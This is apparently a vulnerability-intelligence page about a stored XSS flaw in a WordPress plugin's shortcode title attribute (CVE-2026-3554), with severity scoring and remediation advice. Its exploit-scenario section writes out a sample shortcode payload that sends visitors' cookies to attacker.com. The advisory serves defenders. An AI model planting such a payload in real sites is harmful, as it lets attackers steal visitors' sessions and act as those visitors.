Skip to main content

Sherk Custom Post Type Displays CVE-2026-3554

| EUVDEUVD-2026-14162 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-21 Wordfence GHSA-x8x7-xgj7-47r4
6.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While the CVSS score of 6.4 appears moderate, the real-world risk is elevated by several factors. The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates low attack complexity and no user interaction required, meaning exploitation is straightforward once an attacker gains Contributor access. The privilege requirement (PR:L) is the primary limiting factor, as the vulnerability requires authenticated access—however, many WordPress sites have numerous Contributor-level accounts (freelancers, guest authors) that may be compromised or malicious. The scope change (S:C) indicates the vulnerability can affect resources beyond the vulnerable component, increasing blast radius. The payload is Stored rather than Reflected, meaning it persists and affects all visitors without requiring phishing or social engineering. KEV status and active exploitation data are not provided in the source intelligence, but the straightforward nature and low complexity of XSS exploitation suggests this would be quickly weaponized post-disclosure. The combination of low attack complexity, stored persistence, and scope change makes this a higher priority than the CVSS score alone suggests.

Exploit ScenarioDerived

An attacker with a compromised Contributor account (or social engineering a freelancer with Contributor access) creates or edits a page containing the sherkcptdisplays shortcode with a malicious title attribute such as [sherkcptdisplays title="Test<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] . When any visitor accesses this page, the injected JavaScript executes in their browser with the same privileges as their session, allowing theft of authentication cookies, session tokens, or performing actions on behalf of the victim. Because the XSS is stored, the attack persists across all page views until the malicious content is removed, affecting every user who visits the site.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 21, 2026

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Sherk Custom Post Type Displays WordPress plugin (versions up to 1.2.1) where the 'title' shortcode attribute is insufficiently sanitized and directly concatenated into HTML output without escaping. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript that executes for all users viewing affected pages. The vulnerability has a CVSS score of 6.4 (Medium) with a local privilege requirement, making it exploitable by lower-privileged authenticated users rather than unauthenticated remote attackers.

RemediationAI

The primary remediation is to upgrade the Sherk Custom Post Type Displays plugin to a version later than 1.2.1 once a patch is released by the vendor. The vulnerability requires output escaping of the 'title' attribute using WordPress's esc_html() function before concatenation into the h2 tag on line 31, and input sanitization via sanitize_text_field() at line 19. Until a patched version is available, site administrators should disable or remove the plugin, restrict Contributor-level user accounts to only those absolutely trusted, and implement a Web Application Firewall (WAF) rule to detect and block shortcode attributes containing script tags or event handlers. For sites that cannot immediately patch, monitoring tools such as Wordfence (which reported this vulnerability) can be used to detect exploitation attempts. The vendor advisory is referenced at https://www.wordfence.com/threat-intel/vulnerabilities/id/d227d4e4-2899-434c-8b93-8d93a89b1b1b?source=cve.

Affected VersionsENISA

Sherk Custom Post Type Displays * ≤1.2.1

Affected Packages

euvd sherk_custom_post_type_displays no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a classic Stored XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) in PHP-based WordPress plugin architecture. The affected product is identified via CPE as cpe:2.3:a:sherkspear:sherk_custom_post_type_displays:*:*:*:*:*:*:*:*, specifically in the sherkcptdisplays_func() function within includes/SherkCPTDisplaysShortcode.php. The root cause occurs at line 19 where the 'title' shortcode attribute is extracted via shortcode_atts() without sanitization, and at line 31 where it is directly concatenated into an HTML h2 tag without output escaping using WordPress standard functions like esc_html(). This violates WordPress security best practices which require both input validation and output escaping as separate layers of defense.

Know when Sherk Custom Post Type Displays gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Sherk Custom Post Type Displays plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' shortcode attribute in all versions up to, and including, 1.2.1. This is due to insufficient input sanitization and output escaping on the 'title' attribute of the 'sherkcptdisplays' shortcode. Specifically, in the sherkcptdisplays_func() function in includes/SherkCPTDisplaysShortcode.php, the 'title' attribute value is extracted from shortcode_atts() on line 19 and directly concatenated into an HTML <h2> tag on line 31 without any escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

Organizations using all should be aware of moderate risk from CVE-2026-3554, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy